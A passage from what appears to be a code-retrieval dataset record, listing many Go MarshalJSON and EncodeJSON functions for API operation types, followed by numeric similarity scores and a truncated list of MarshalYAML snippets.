MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(t.String())\n}", "func (v BaseOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (o OperationObj) MarshalJSON() ([]byte, error) {\n\treturn o.marshalJSONWithStruct(_OperationObj(o))\n}", "func (s SelectOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(s.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(s.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range s.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tColumns []ID `json:\"columns,omitempty\"`\n\t}{\n\t\tOp: s.Op(),\n\t\tTable: s.Table,\n\t\tWhere: s.Where,\n\t\tColumns: s.Columns,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (od OperationDetail) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif od.Name != nil {\n\t\tobjectMap[\"name\"] = od.Name\n\t}\n\tif od.IsDataAction != nil {\n\t\tobjectMap[\"isDataAction\"] = od.IsDataAction\n\t}\n\tif od.Display != nil {\n\t\tobjectMap[\"display\"] = od.Display\n\t}\n\tif od.Origin != nil {\n\t\tobjectMap[\"origin\"] = od.Origin\n\t}\n\tif od.OperationProperties != nil {\n\t\tobjectMap[\"properties\"] = od.OperationProperties\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (u UpdateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(u.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(u.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase u.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range u.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tRow Row `json:\"row\"`\n\t}{\n\t\tOp: u.Op(),\n\t\tTable: u.Table,\n\t\tWhere: u.Where,\n\t\tRow: u.Row,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (o OperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulateTimeRFC3339(objectMap, \"endTime\", o.EndTime)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulateTimeRFC3339(objectMap, \"startTime\", o.StartTime)\n\treturn json.Marshal(objectMap)\n}", "func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (v Operation) EncodeJSON(b []byte) []byte {\n\tb = append(b, \"{\"...)\n\tif v.Account.Set {\n\t\tb = append(b, `\"account\":`...)\n\t\tb = v.Account.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif v.Amount.Set {\n\t\tb = append(b, `\"amount\":`...)\n\t\tb = v.Amount.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif v.CoinChange.Set {\n\t\tb = append(b, `\"coin_change\":`...)\n\t\tb = v.CoinChange.Value.EncodeJSON(b)\n\t\tb = append(b, \",\"...)\n\t}\n\tif len(v.Metadata) > 0 {\n\t\tb = append(b, `\"metadata\":`...)\n\t\tb = append(b, v.Metadata...)\n\t\tb = append(b, \",\"...)\n\t}\n\tb = append(b, '\"', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', '_', 'i', 'd', 'e', 'n', 't', 'i', 'f', 'i', 'e', 'r', '\"', ':')\n\tb = v.OperationIdentifier.EncodeJSON(b)\n\tb = append(b, \",\"...)\n\tif len(v.RelatedOperations) > 0 {\n\t\tb = append(b, '\"', 'r', 'e', 'l', 'a', 't', 'e', 'd', '_', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', 's', '\"', ':', '[')\n\t\tfor i, elem := range v.RelatedOperations {\n\t\t\tif i != 0 {\n\t\t\t\tb = append(b, \",\"...)\n\t\t\t}\n\t\t\tb = elem.EncodeJSON(b)\n\t\t}\n\t\tb = append(b, \"],\"...)\n\t}\n\tif v.Status.Set {\n\t\tb = append(b, `\"status\":`...)\n\t\tb = json.AppendString(b, v.Status.Value)\n\t\tb = append(b, \",\"...)\n\t}\n\tb = append(b, `\"type\":`...)\n\tb = json.AppendString(b, v.Type)\n\treturn append(b, \"}\"...)\n}", "func (o OperationEntity) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}", "func JSONOpString(v []types.Operation) (string, error) {\n\tvar tx types.Operations\n\n\ttx = append(tx, v...)\n\n\tans, err := types.JSONMarshal(tx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(ans), nil\n}", "func (m OperationResult) MarshalJSON() ([]byte, error) {\n\tvar b1, b2 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}{\n\t\tCreatedDateTime: m.CreatedDateTime,\n\t\tLastActionDateTime: m.LastActionDateTime,\n\t\tMessage: m.Message,\n\t\tOperationType: m.OperationType,\n\t\tStatus: m.Status,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tOperationProcessingResult OperationProcessingResult `json:\"operationProcessingResult,omitempty\"`\n\t}{\n\t\tOperationProcessingResult: m.OperationProcessingResult,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn swag.ConcatJSON(b1, b2), nil\n}", "func (o OperationEntity) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (d DeleteOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(d.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(d.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range d.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t}{\n\t\tOp: d.Op(),\n\t\tTable: d.Table,\n\t\tWhere: d.Where,\n\t}\n\treturn json.Marshal(temp)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o OperationsContent) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", o.ID)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\tpopulate(objectMap, \"systemData\", o.SystemData)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationPropertiesFormat) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"serviceSpecification\", o.ServiceSpecification)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"serviceSpecification\", o.ServiceSpecification)\n\treturn json.Marshal(objectMap)\n}", "func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcvpbo.Kind = KindCheckValue\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = cvpbo.Value\n\tif cvpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cvpbo.PropertyName\n\t}\n\tif cvpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cvpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", r.NextLink)\n\tpopulate(objectMap, \"value\", r.Value)\n\treturn json.Marshal(objectMap)\n}", "func (a AsyncOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"error\", a.Error)\n\tpopulate(objectMap, \"name\", a.Name)\n\tpopulate(objectMap, \"status\", a.Status)\n\treturn json.Marshal(objectMap)\n}", "func (op OpRetain) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Fields)\n}", "func (v OperationIdentifier) EncodeJSON(b []byte) []byte {\n\tb = append(b, `{\"index\":`...)\n\tb = json.AppendInt(b, v.Index)\n\tb = append(b, \",\"...)\n\tif v.NetworkIndex.Set {\n\t\tb = append(b, `\"network_index\":`...)\n\t\tb = json.AppendInt(b, v.NetworkIndex.Value)\n\t\tb = append(b, \",\"...)\n\t}\n\tb[len(b)-1] = '}'\n\treturn b\n}", "func (op OpFlatten) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Field)\n}", "func (o OperationResultsDescription) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", o.ID)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulateTimeRFC3339(objectMap, \"startTime\", o.StartTime)\n\tpopulate(objectMap, \"status\", o.Status)\n\treturn json.Marshal(objectMap)\n}", "func (olr OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", p.NextLink)\n\tpopulate(objectMap, \"value\", p.Value)\n\treturn json.Marshal(objectMap)\n}", "func (diff Diff) MarshalJSON() ([]byte, error) {\n var o map[string] interface{} = make(map[string] interface{})\n o[\"op\"] = diff.Operation\n o[\"id\"] = diff.Id\n o[\"type\"] = diff.Type\n o[\"data\"] = string(diff.Data)\n if diff.Attr.Key != \"\" {\n var a map[string] interface{} = make(map[string] interface{})\n a[\"key\"] = diff.Attr.Key\n if diff.Attr.Namespace != \"\" {\n a[\"ns\"] = diff.Attr.Namespace\n }\n if diff.Attr.Val != \"\" {\n a[\"val\"] = diff.Attr.Val\n }\n o[\"attr\"] = a\n }\n json, err := json.Marshal(&o)\n if err != nil {\n return nil, err\n }\n return json, nil\n}", "func (u BasicUpdateOperation) JSON() string {\n\tj, _ := json.Marshal(u)\n\treturn string(j)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}", "func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}" ]
[ "0.7755043", "0.7720613", "0.742533", "0.7391643", "0.7381096", "0.7364916", "0.7364916", "0.7364916", "0.7364916", "0.7364916", "0.7364916", "0.73504496", "0.7273722", "0.7273722", "0.7273722", "0.7273722", "0.7273722", "0.7273722", "0.72637165", "0.7245336", "0.71983606", "0.71983606", "0.7061732", "0.7061732", "0.70537245", "0.70370054", "0.7027494", "0.69333154", "0.6901458", "0.68381685", "0.680448", "0.67878693", "0.6773882", "0.67693913", "0.6761123", "0.67472523", "0.67360216", "0.67109525", "0.67024577", "0.66967684", "0.66614354", "0.6655383", "0.66348976", "0.66277975", "0.6617505", "0.6591326", "0.6561403", "0.6559198", "0.6559198", "0.6557286", "0.6552343", "0.6551152", "0.65463597", "0.6546121", "0.6538198", "0.65301347", "0.6485076", "0.6485076", "0.6485076", "0.6467785", "0.64376426", "0.6404587", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6381446", "0.6380335", "0.6343108", "0.6332899", "0.63299453", "0.6321784", "0.63180655", "0.6290866", "0.62505734", "0.6250203", "0.6241844", "0.62307596", "0.6215802", "0.62028766", "0.618529", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239", "0.616239" ]
0.66793364
40
MarshalYAML will marshal an operation as YAML
func (o Op) MarshalYAML() (interface{}, error) { return map[string]interface{}{ o.Type(): o.OpApplier, }, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}", "func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}", "func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}", "func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}", "func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}", "func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}", "func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}", "func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}", "func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}", "func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}", "func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}", "func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}", "func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}", "func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}", "func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"<secret>\", nil\n\t}\n\treturn nil, nil\n}", "func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}", "func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}", "func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}", "func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (u *URL) MarshalYAML() (interface{}, 